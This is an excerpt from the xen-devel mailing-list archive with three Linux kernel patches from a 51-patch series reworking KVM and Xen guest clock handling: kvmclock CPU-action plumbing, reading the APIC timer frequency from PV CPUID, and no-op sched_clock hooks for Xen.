X-Forwarded-Encrypted: i=1; AHgh+Rr/HCTnhXLQg226/ahJEF5EZa7yGhmm7y8nOBEdkYO/ATcLPmjc4dM6nOLQx0onfKriiM6fuypWI+M=@lists.xenproject.org
X-Gm-Message-State: AOJu0YyjssMBu1Ob+Ung3XmZXUZjX+FEWbZeJb4e5vOSeoUOE6+kUgek
	5oPvcnZ2XPB9GBfvxDKtreiUVwGTkCRr554dihaDmomcQ7coQ7CjILeVOQMyjAH28ndwJ+OIMUp
	pNijOLQ==
X-Received: from plkg7.prod.google.com ([2002:a17:903:19c7:b0:2c6:a4ed:efee])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a17:902:c94c:b0:2c9:c97e:71cf
 with SMTP id d9443c01a7336-2ca7e683909mr35659695ad.6.1782934405912; Wed, 01
 Jul 2026 12:33:25 -0700 (PDT)
Reply-To: Sean Christopherson <seanjc@google.com>
Date: Wed,  1 Jul 2026 12:32:10 -0700
In-Reply-To: <20260701193212.749551-1-seanjc@google.com>
Mime-Version: 1.0
References: <20260701193212.749551-1-seanjc@google.com>
X-Mailer: git-send-email 2.55.0.rc0.799.gd6f94ed593-goog
Message-ID: <20260701193212.749551-50-seanjc@google.com>
Subject: [PATCH v5 49/51] x86/kvmclock: Plumb in AP-online and BSP-resume to
 kvmlock, for documentation
From: Sean Christopherson <seanjc@google.com>
To: Jonathan Corbet <corbet@lwn.net>, Paolo Bonzini <pbonzini@redhat.com>, 
	Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	Kiryl Shutsemau <kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, 
	Sean Christopherson <seanjc@google.com>, "K. Y. Srinivasan" <kys@microsoft.com>, 
	Haiyang Zhang <haiyangz@microsoft.com>, Wei Liu <wei.liu@kernel.org>, 
	Dexuan Cui <decui@microsoft.com>, Long Li <longli@microsoft.com>, 
	Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov <alexey.makhalov@broadcom.com>, 
	Jan Kiszka <jan.kiszka@siemens.com>, Andy Lutomirski <luto@kernel.org>, 
	Peter Zijlstra <peterz@infradead.org>, Juergen Gross <jgross@suse.com>, 
	Daniel Lezcano <daniel.lezcano@kernel.org>, John Stultz <jstultz@google.com>
Cc: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>, 
	Vitaly Kuznetsov <vkuznets@redhat.com>, 
	Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>, linux-doc@vger.kernel.org, 
	kvm@vger.kernel.org, linux-kernel@vger.kernel.org, linux-coco@lists.linux.dev, 
	linux-hyperv@vger.kernel.org, virtualization@lists.linux.dev, 
	xen-devel@lists.xenproject.org, Tom Lendacky <thomas.lendacky@amd.com>, 
	Nikunj A Dadhania <nikunj@amd.com>, David Woodhouse <dwmw@amazon.co.uk>, 
	David Woodhouse <dwmw2@infradead.org>, Michael Kelley <mhklinux@outlook.com>, 
	Thomas Gleixner <tglx@linutronix.de>
Content-Type: text/plain; charset="UTF-8"
X-purgate-ID: tlsNG-ef75cf/1782934408-7F33F25E-79D991A1/13/0
X-purgate-type: clean
X-purgate-size: 4593

Invoke kvmclock_cpu_action() with AP_ONLINE and BSP_RESUME, even though
kvmclock doesn't need to do anything in either case, so that the asymmetry
of kvmclock is a detail buried in kvmclock, and to explicitly document
that doing nothing during those phases is intentional and correct.

For all intents and purposes, no functional change intended.

Reviewed-by: David Woodhouse <dwmw@amazon.co.uk>
Signed-off-by: Sean Christopherson <seanjc@google.com>
---
 arch/x86/include/asm/kvm_para.h |  2 ++
 arch/x86/kernel/kvm.c           | 22 +++++++++++++-------
 arch/x86/kernel/kvmclock.c      | 37 ++++++++++++++++++++++++++-------
 3 files changed, 45 insertions(+), 16 deletions(-)

diff --git a/arch/x86/include/asm/kvm_para.h b/arch/x86/include/asm/kvm_para.h
index 08686ff19caa..763ed017738a 100644
--- a/arch/x86/include/asm/kvm_para.h
+++ b/arch/x86/include/asm/kvm_para.h
@@ -120,6 +120,8 @@ static inline long kvm_sev_hypercall3(unsigned int nr, unsigned long p1,
 #ifdef CONFIG_KVM_GUEST
 enum kvm_guest_cpu_action {
 	KVM_GUEST_BSP_SUSPEND,
+	KVM_GUEST_BSP_RESUME,
+	KVM_GUEST_AP_ONLINE,
 	KVM_GUEST_AP_OFFLINE,
 	KVM_GUEST_SHUTDOWN,
 };
diff --git a/arch/x86/kernel/kvm.c b/arch/x86/kernel/kvm.c
index 604b52f233aa..f9a6346077b0 100644
--- a/arch/x86/kernel/kvm.c
+++ b/arch/x86/kernel/kvm.c
@@ -474,18 +474,24 @@ static void kvm_guest_cpu_offline(enum kvm_guest_cpu_action action)
 	kvmclock_cpu_action(action);
 }
 
+static void __kvm_cpu_online(unsigned int cpu, enum kvm_guest_cpu_action action)
+{
+	unsigned long flags;
+
+	local_irq_save(flags);
+	kvmclock_cpu_action(action);
+	kvm_guest_cpu_init();
+	local_irq_restore(flags);
+}
+
+#ifdef CONFIG_SMP
+
 static int kvm_cpu_online(unsigned int cpu)
 {
-	unsigned long flags;
-
-	local_irq_save(flags);
-	kvm_guest_cpu_init();
-	local_irq_restore(flags);
+	__kvm_cpu_online(cpu, KVM_GUEST_AP_ONLINE);
 	return 0;
 }
 
-#ifdef CONFIG_SMP
-
 static DEFINE_PER_CPU(cpumask_var_t, __pv_cpu_mask);
 
 static bool pv_tlb_flush_supported(void)
@@ -750,7 +756,7 @@ static int kvm_suspend(void *data)
 
 static void kvm_resume(void *data)
 {
-	kvm_cpu_online(raw_smp_processor_id());
+	__kvm_cpu_online(raw_smp_processor_id(), KVM_GUEST_BSP_RESUME);
 
 #ifdef CONFIG_ARCH_CPUIDLE_HALTPOLL
 	if (kvm_para_has_feature(KVM_FEATURE_POLL_CONTROL) && has_guest_poll)
diff --git a/arch/x86/kernel/kvmclock.c b/arch/x86/kernel/kvmclock.c
index bc98ebb8587d..842f38c5f6ca 100644
--- a/arch/x86/kernel/kvmclock.c
+++ b/arch/x86/kernel/kvmclock.c
@@ -150,7 +150,7 @@ static void kvm_save_sched_clock_state(void)
 #ifdef CONFIG_SMP
 static void kvm_setup_secondary_clock(void)
 {
-	kvm_register_clock("secondary cpu clock");
+	kvm_register_clock("secondary cpu, startup");
 }
 #endif
 
@@ -174,13 +174,34 @@ static void kvmclock_resume(struct clocksource *cs)
 
 void kvmclock_cpu_action(enum kvm_guest_cpu_action action)
 {
-	/*
-	 * Don't disable kvmclock on the BSP during suspend.  If kvmclock is
-	 * being used for sched_clock, then it needs to be kept alive until the
-	 * last minute, and restored as quickly as possible after resume.
-	 */
-	if (action != KVM_GUEST_BSP_SUSPEND)
+	switch (action) {
+		/*
+		 * The BSP's clock is managed via clocksource suspend/resume,
+		 * to ensure it's enabled/disabled when timekeeping needs it
+		 * to be, e.g. before reading wallclock (which uses kvmclock).
+		 */
+	case KVM_GUEST_BSP_SUSPEND:
+	case KVM_GUEST_BSP_RESUME:
+		break;
+	case KVM_GUEST_AP_ONLINE:
+		/*
+		 * Secondary CPUs use a dedicated hook to enable kvmclock early
+		 * during bringup, there's nothing to be done during CPU online
+		 * (which runs at CPUHP_AP_ONLINE_DYN).  When kvmclock is being
+		 * used as sched_clock, kvmclock must be enabled *very* early,
+		 * and even when kvmclock is "only" being used for the main
+		 * clocksource, it still needs to be enabled long before the
+		 * dynamic CPUHP calls are made.
+		 */
+		break;
+	case KVM_GUEST_AP_OFFLINE:
+	case KVM_GUEST_SHUTDOWN:
 		kvmclock_disable();
+		break;
+	default:
+		WARN_ON_ONCE(1);
+		break;
+	}
 }
 
 /*
@@ -382,7 +403,7 @@ void __init kvmclock_init(bool prefer_tsc)
 		msr_kvm_system_time, msr_kvm_wall_clock);
 
 	this_cpu_write(hv_clock_per_cpu, &hv_clock_boot[0]);
-	kvm_register_clock("primary cpu clock");
+	kvm_register_clock("primary cpu, online");
 	pvclock_set_pvti_cpu0_va(hv_clock_boot);
 
 	if (kvm_para_has_feature(KVM_FEATURE_CLOCKSOURCE_STABLE_BIT)) {
-- 
2.55.0.rc0.799.gd6f94ed593-goog



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 19:34:32 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 19:34:32 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350605.1608141 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0hc-0006SN-25; Wed, 01 Jul 2026 19:34:32 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350605.1608141; Wed, 01 Jul 2026 19:34:32 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0hb-0006SC-Up; Wed, 01 Jul 2026 19:34:31 +0000
Received: by outflank-mailman (input) for mailman id 1350605;
 Wed, 01 Jul 2026 19:34:31 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3iGtFagYKCc0Bxt62vz77z4x.v75Gx6-wxEx441BCB.Gx68A72xvC.7Az@flex--seanjc.bounces.google.com>)
 id 1wf0hb-0006GX-7D
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 19:34:31 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf0ha-00BqTu-KD
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 21:34:30 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3iGtFagYKCc0Bxt62vz77z4x.v75Gx6-wxEx441BCB.Gx68A72xvC.7Az@flex--seanjc.bounces.google.com>)
 id 6a456bb3-bab6-0a2a0a5309dd-0a2a45098636-22
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:34:30 +0200
Received: from [209.85.215.202] (helo=mail-pg1-f202.google.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3iGtFagYKCc0Bxt62vz77z4x.v75Gx6-wxEx441BCB.Gx68A72xvC.7Az@flex--seanjc.bounces.google.com>)
 id 6a456b89-97e6-0a2a45090019-d155d7cab537-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:33:30 +0200
Received: by mail-pg1-f202.google.com with SMTP id
 41be03b00d2f7-c9d5a5b63c5so883487a12.1
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:33:30 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date:Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1782934408; x=1783539208; darn=lists.xenproject.org;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:from:to:cc:subject:date:message-id:reply-to;
        bh=ukYnz5D3jEol4z1WUeRHDVtFiLPopAappLYurzMw/rI=;
        b=fai+YAy4/7XjQOg3T8VNf8nCwAkpKElDiQdCM9h3UBYGCGvjbht5/BdJjeFGt5ysz7
         vLMS3DAE+EGnvGfMDBlPXTQxld0qa0u6BH1I1arGeiu0r2r/NYtI/gFcG7mXE9XOnpSa
         lqrZUMDdR4HVILaEcjZqpKgNy6h/w4OZSRehvzLK23wDu3rBVAqvKd1r2X9KndCJF6/y
         NA5/cvl/hiXdt2DaY3D+JADpMA+FNH6xJUud8G4b2JU6MBbA/Ah56kAiNGh6HnZMqmMb
         RZi8ymrgF97UCOYLkwg8mLYJig0tyT/5Cs6W3XWTrn2PE14inMcFDXJtChXZBRV6a4b/
         A1iw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782934408; x=1783539208;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=ukYnz5D3jEol4z1WUeRHDVtFiLPopAappLYurzMw/rI=;
        b=Hl0RSSTB3URgFDmsQtWequubqha1EK+6xHg+AknTLEK9g6L+iAz0FtzLoJtB2/OI83
         jWBt7DjRHABICIQV8/YSiwwZXdoordc4okBVHikEebdgHBcesKgBojKj/1QqQFFKGuTl
         tdSSEr950RT9pDKjVPwWgDOqQEl2ZFywSGAk7F5dSuznTUbjKgdzCE7HLG/3tMJ3Qsi7
         FFNzn8D/f71MOJNHCQCuX5XCRr6he8KM5gxuzjflgGh1q7UxJYvqCUE3kn10o6A1BHfB
         b2thaPVTd7aD5N03CLmdG/y0J5lsZDyBp/7sdL9Ok6Pzg5vA8kkT/9U0rZH0zadXl3fe
         bOgg==
X-Forwarded-Encrypted: i=1; AFNElJ8YGL7eepovLa53nGRecguAEe17BztJFT3tteTX1yDuh4g6qeOoDzlUjGbRXv9l8KE7B6kBDaJnDNo=@lists.xenproject.org
X-Gm-Message-State: AOJu0YyV/fAM+w31TVEFAhJRlbWNJQiLP0QY3JJsxSi1WtCrwptfExE+
	AV/3muG3qRwPw55ChrwPkr+QLvmFiTMlaa6TQc3rkoOHp/Aa+mO/TDY7uMrzhBhdod9h3BrYD3H
	sKOdP6g==
X-Received: from pgad26.prod.google.com ([2002:a05:6a02:4f5a:b0:c99:d21a:f6b7])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a05:6a21:748b:b0:3bf:d1f9:b1db
 with SMTP id adf61e73a8af0-3bfed5e1001mr3530009637.52.1782934408107; Wed, 01
 Jul 2026 12:33:28 -0700 (PDT)
Reply-To: Sean Christopherson <seanjc@google.com>
Date: Wed,  1 Jul 2026 12:32:12 -0700
In-Reply-To: <20260701193212.749551-1-seanjc@google.com>
Mime-Version: 1.0
References: <20260701193212.749551-1-seanjc@google.com>
X-Mailer: git-send-email 2.55.0.rc0.799.gd6f94ed593-goog
Message-ID: <20260701193212.749551-52-seanjc@google.com>
Subject: [PATCH v5 51/51] x86/kvm: Get local APIC bus frequency from PV CPUID
 Timing Info
From: Sean Christopherson <seanjc@google.com>
To: Jonathan Corbet <corbet@lwn.net>, Paolo Bonzini <pbonzini@redhat.com>, 
	Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	Kiryl Shutsemau <kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, 
	Sean Christopherson <seanjc@google.com>, "K. Y. Srinivasan" <kys@microsoft.com>, 
	Haiyang Zhang <haiyangz@microsoft.com>, Wei Liu <wei.liu@kernel.org>, 
	Dexuan Cui <decui@microsoft.com>, Long Li <longli@microsoft.com>, 
	Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov <alexey.makhalov@broadcom.com>, 
	Jan Kiszka <jan.kiszka@siemens.com>, Andy Lutomirski <luto@kernel.org>, 
	Peter Zijlstra <peterz@infradead.org>, Juergen Gross <jgross@suse.com>, 
	Daniel Lezcano <daniel.lezcano@kernel.org>, John Stultz <jstultz@google.com>
Cc: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>, 
	Vitaly Kuznetsov <vkuznets@redhat.com>, 
	Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>, linux-doc@vger.kernel.org, 
	kvm@vger.kernel.org, linux-kernel@vger.kernel.org, linux-coco@lists.linux.dev, 
	linux-hyperv@vger.kernel.org, virtualization@lists.linux.dev, 
	xen-devel@lists.xenproject.org, Tom Lendacky <thomas.lendacky@amd.com>, 
	Nikunj A Dadhania <nikunj@amd.com>, David Woodhouse <dwmw@amazon.co.uk>, 
	David Woodhouse <dwmw2@infradead.org>, Michael Kelley <mhklinux@outlook.com>, 
	Thomas Gleixner <tglx@linutronix.de>
Content-Type: text/plain; charset="UTF-8"
X-purgate-ID: tlsNG-bad1c0/1782934410-46327986-871ED5DB/13/0
X-purgate-type: clean
X-purgate-size: 1407

When running as a KVM guest with PV timing info provided by the host,
stuff the APIC timer period/frequency with the local APIC bus frequency
reported in CPUID.0x40000010.EBX instead of trying to calibrate/guess the
frequency.

See Documentation/virt/kvm/x86/cpuid.rst for details.

Reviewed-by: David Woodhouse <dwmw@amazon.co.uk>
Signed-off-by: Sean Christopherson <seanjc@google.com>
---
 arch/x86/kernel/kvm.c | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/arch/x86/kernel/kvm.c b/arch/x86/kernel/kvm.c
index f9a6346077b0..beea0b6aa78e 100644
--- a/arch/x86/kernel/kvm.c
+++ b/arch/x86/kernel/kvm.c
@@ -990,7 +990,7 @@ static void __init kvm_init_platform(void)
 		.mask_lo = (u32)(~(SZ_4G - tolud - 1)) | MTRR_PHYSMASK_V,
 		.mask_hi = (BIT_ULL(boot_cpu_data.x86_phys_bits) - 1) >> 32,
 	};
-	u32 timing_info_leaf;
+	u32 timing_info_leaf, apic_khz;
 	bool tsc_is_reliable;
 
 	if (cc_platform_has(CC_ATTR_GUEST_MEM_ENCRYPT) &&
@@ -1052,6 +1052,11 @@ static void __init kvm_init_platform(void)
 			x86_init.hyper.get_tsc_khz = kvm_get_tsc_khz;
 			x86_init.hyper.get_cpu_khz = kvm_get_tsc_khz;
 		}
+
+		/* The leaf also includes the local APIC bus/timer frequency.*/
+		apic_khz = cpuid_ebx(timing_info_leaf);
+		if (apic_khz)
+			apic_set_timer_period_khz(apic_khz, "KVM hypervisor");
 	}
 
 	/*
-- 
2.55.0.rc0.799.gd6f94ed593-goog



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 19:35:12 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 19:35:12 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350651.1608150 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0iF-0007yl-BT; Wed, 01 Jul 2026 19:35:11 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350651.1608150; Wed, 01 Jul 2026 19:35:11 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0iF-0007yc-8n; Wed, 01 Jul 2026 19:35:11 +0000
Received: by outflank-mailman (input) for mailman id 1350651;
 Wed, 01 Jul 2026 19:35:10 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3c2tFagYKCbgqcYlhaemmejc.amkvcl-bctcjjgqrq.vclnpmhcar.mpe@flex--seanjc.bounces.google.com>)
 id 1wf0iE-0007yG-Mf
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 19:35:10 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf0iE-00BwWE-3I
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 21:35:10 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3c2tFagYKCbgqcYlhaemmejc.amkvcl-bctcjjgqrq.vclnpmhcar.mpe@flex--seanjc.bounces.google.com>)
 id 6a456be5-5cb7-0a2a0a5109dd-0a2a4509a272-8
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:35:10 +0200
Received: from [209.85.210.202] (helo=mail-pf1-f202.google.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3c2tFagYKCbgqcYlhaemmejc.amkvcl-bctcjjgqrq.vclnpmhcar.mpe@flex--seanjc.bounces.google.com>)
 id 6a456b74-97e6-0a2a45090019-d155d2cae192-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:33:09 +0200
Received: by mail-pf1-f202.google.com with SMTP id
 d2e1a72fcca58-8423f544944so787918b3a.3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:33:09 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date:Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1782934388; x=1783539188; darn=lists.xenproject.org;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:from:to:cc:subject:date:message-id:reply-to;
        bh=qFfbhUmYyCU6tRW/uev50JnnPJRuq59CtmTnO4qaTps=;
        b=AxzzU/WWBFxM1ih4hQFfuPffcBmt54/E4Kri07Z6dfJKSxnSX+PHuSwRkaGbNDkoe+
         d582W/KvOKR4aBCwT0fXAySLmEgSilaZx6pXyZBUBFGthUTmPVIQQb+X7tWsd1B7Wpuk
         wcTi+rD1R2ZgAAOzcujS6adKUVZc9GRRTQ8rDbmaRFapTcNi73hthu58AY9HLVjSg/YF
         eXb+luqEa0sBliPLHhY6tcamIWAcEJnCwV8cnt4MiIInlIM0Kkuy+Zf4DF30Co/73E1v
         RxwwLNaqDwP6QSwHlpm2FFIu0tfGJMIcSPIoxCsJNt/cNW8Or0Bke6UXs1fKlrjozu0W
         hpGQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782934388; x=1783539188;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=qFfbhUmYyCU6tRW/uev50JnnPJRuq59CtmTnO4qaTps=;
        b=ZbklHBViHJf7CrpuJhfV26iz2sGbSIL9N4VOG4qtdNVDkDESp0xfTiYMu5zKCJmdfT
         6uAczrwWFdGUoLPw+Zun8WPROnLSVfcionVqO65QlcFNXMoisah0snJIGx78Nr6pm2ey
         e3EYriSyEsN6jIWRDSfEvQcg0j4GLH0LdAUIIiQEnoAHK/aEjdgn8aKQPbpmL1XlHneh
         sc/xC6bYoj+4zcQOK4Mth0jXExe1DSmCX9UxUFRy9DSrGkY59a5Q8eMDUFwtbdQ5QpEz
         JaKAAoTJ8/keaf0dTN3jOdAW1QJUZnKY2+2pri4lLqMdK6eL5mrsR4YYoliUeainMYGa
         WYew==
X-Forwarded-Encrypted: i=1; AFNElJ9BBYIMutAaDQPt5oDZFqvKAKCfpX/JVjs9zn7/qSrH3VvaYV8uMR/2VVMpiPi5qw2QLxNXJ6D8xjk=@lists.xenproject.org
X-Gm-Message-State: AOJu0YybiqK6h1ASpIcR0VBRfL8fzqCpAjmi94GDKBaWUnnbllmZhH3Q
	nWRxAQkEAoarPKVoznk8z+/EjjrQnQg0Ks0jOI45OUbVSXvwb5M51JoMZWr0eOCY92EswNi+McD
	+lntN2g==
X-Received: from pfvx7.prod.google.com ([2002:a05:6a00:2707:b0:847:8f34:1b76])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a05:6a00:8f0a:b0:847:86d8:5937
 with SMTP id d2e1a72fcca58-847c51e4a35mr1955201b3a.50.1782934387701; Wed, 01
 Jul 2026 12:33:07 -0700 (PDT)
Reply-To: Sean Christopherson <seanjc@google.com>
Date: Wed,  1 Jul 2026 12:31:54 -0700
In-Reply-To: <20260701193212.749551-1-seanjc@google.com>
Mime-Version: 1.0
References: <20260701193212.749551-1-seanjc@google.com>
X-Mailer: git-send-email 2.55.0.rc0.799.gd6f94ed593-goog
Message-ID: <20260701193212.749551-34-seanjc@google.com>
Subject: [PATCH v5 33/51] x86/xen/time: NOP-ify x86_platform's sched_clock
 save/restore hooks
From: Sean Christopherson <seanjc@google.com>
To: Jonathan Corbet <corbet@lwn.net>, Paolo Bonzini <pbonzini@redhat.com>, 
	Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	Kiryl Shutsemau <kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, 
	Sean Christopherson <seanjc@google.com>, "K. Y. Srinivasan" <kys@microsoft.com>, 
	Haiyang Zhang <haiyangz@microsoft.com>, Wei Liu <wei.liu@kernel.org>, 
	Dexuan Cui <decui@microsoft.com>, Long Li <longli@microsoft.com>, 
	Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov <alexey.makhalov@broadcom.com>, 
	Jan Kiszka <jan.kiszka@siemens.com>, Andy Lutomirski <luto@kernel.org>, 
	Peter Zijlstra <peterz@infradead.org>, Juergen Gross <jgross@suse.com>, 
	Daniel Lezcano <daniel.lezcano@kernel.org>, John Stultz <jstultz@google.com>
Cc: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>, 
	Vitaly Kuznetsov <vkuznets@redhat.com>, 
	Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>, linux-doc@vger.kernel.org, 
	kvm@vger.kernel.org, linux-kernel@vger.kernel.org, linux-coco@lists.linux.dev, 
	linux-hyperv@vger.kernel.org, virtualization@lists.linux.dev, 
	xen-devel@lists.xenproject.org, Tom Lendacky <thomas.lendacky@amd.com>, 
	Nikunj A Dadhania <nikunj@amd.com>, David Woodhouse <dwmw@amazon.co.uk>, 
	David Woodhouse <dwmw2@infradead.org>, Michael Kelley <mhklinux@outlook.com>, 
	Thomas Gleixner <tglx@linutronix.de>
Content-Type: text/plain; charset="UTF-8"
X-purgate-ID: tlsNG-bad1c0/1782934390-46739986-C55DB5E4/13/0
X-purgate-type: clean
X-purgate-size: 1157

NOP-ify the x86_platform sched_clock save/restore hooks when setting up
Xen's PV clock to make it somewhat obvious the hooks aren't used when
running as a Xen guest (Xen uses a paravirtualized suspend/resume flow).

Reviewed-by: David Woodhouse <dwmw@amazon.co.uk>
Signed-off-by: Sean Christopherson <seanjc@google.com>
---
 arch/x86/xen/time.c | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/arch/x86/xen/time.c b/arch/x86/xen/time.c
index 487ad838c441..477441752f40 100644
--- a/arch/x86/xen/time.c
+++ b/arch/x86/xen/time.c
@@ -567,6 +567,12 @@ static void __init xen_init_time_common(void)
 	xen_sched_clock_offset = xen_clocksource_read();
 	static_call_update(pv_steal_clock, xen_steal_clock);
 	paravirt_set_sched_clock(xen_sched_clock);
+	/*
+	 * Xen has paravirtualized suspend/resume and so doesn't use the common
+	 * x86 sched_clock save/restore hooks.
+	 */
+	x86_platform.save_sched_clock_state = x86_init_noop;
+	x86_platform.restore_sched_clock_state = x86_init_noop;
 
 	x86_init.hyper.get_tsc_khz = xen_tsc_khz;
 	x86_platform.get_wallclock = xen_get_wallclock;
-- 
2.55.0.rc0.799.gd6f94ed593-goog



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 19:35:13 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 19:35:13 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350652.1608159 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0iH-0008DK-JB; Wed, 01 Jul 2026 19:35:13 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350652.1608159; Wed, 01 Jul 2026 19:35:13 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
